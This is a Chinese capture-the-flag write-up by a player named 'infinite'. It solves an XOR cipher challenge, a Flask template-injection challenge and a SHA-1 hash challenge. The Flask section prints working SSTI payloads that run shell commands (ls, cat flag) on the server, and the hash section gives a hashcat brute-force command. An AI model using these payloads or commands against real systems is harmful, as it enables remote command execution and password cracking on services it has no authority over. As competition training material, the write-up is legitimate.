春秋GAME WRITEUP

一、个人信息

个人名称:infinite

个人排名:647

二、解题情况

image-20250117164002385
image-20250117164044162

三、解题过程

一、简单算术

操作内容:

拿到文件,

1
ys~xdg/m@]mjkz@vl@z~lf>b

给了这一串东西,显然经过加密了,题目提示异或,考虑先转化为二进制

使用文本转二进制工具[(https://uutool.cn/txt2bin/),转换得到,

1
1111001 1110011 1111110 1111000 1100100 1100111 101111 1101101 1000000 1011101 1101101 1101010 1101011 1111010 1000000 1110110 1101100 1000000 1111010 1111110 1101100 1100110 111110 1100010

明文应该含有flag,将这flag四个字符转为二进制

1
1100110 1101100 1100001 1100111

根据异或的提示,反推密钥 以此类推

对比发现,密钥应该是0011111一直重复

于是编写脚本

1
2
3
4
5
6
str = "1111001 1110011 1111110 1111000 1100100 1100111 0101111 1101101 1000000 1011101 1101101 1101010 1101011 1111010 1000000 1110110 1101100 1000000 1111010 1111110 1101100 1100110 0111110 1100010".split(" ")
list = [int(i,2) for i in str ]
m = int('0011111',2)
list = [i^m for i in list]
char = [chr(i) for i in list]
print("".join(char))

得到flag

flag值:

flag{x0r_Brute_is_easy!}

二、easy_flask

操作内容:

题目提示了是Flask框架,常见的是SSTI注入

image-20250117121105174

使用

1
{{7*7}}

进行测试,发现存在SSTI漏洞

利用

1
lipsum.__globals__

自带os模块进行注入

先看看flag在哪

1
/?user={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
image-20250117121221413

发现就是flag文件,使用cat打开即可

1
/?user={{lipsum.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
image-20250117121316248
flag值:

flag{48ad0cde8345c8b2608933ac4e85147e}

三、通往哈希的旅程

操作内容:

根据题目意思,得知是纯数字的HASH值,直接使用hashcat爆破即可

首先用HashIdentifier识别HASH加密方式

image-20250117134222796

最有可能的是SHA-1

于是用Hashcat破解

1
hashcat.exe -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d ?d?d?d?d?d?d?d?d?d?d?d

拿到flag

image-20250117134305269
flag值:

flag{18876011645}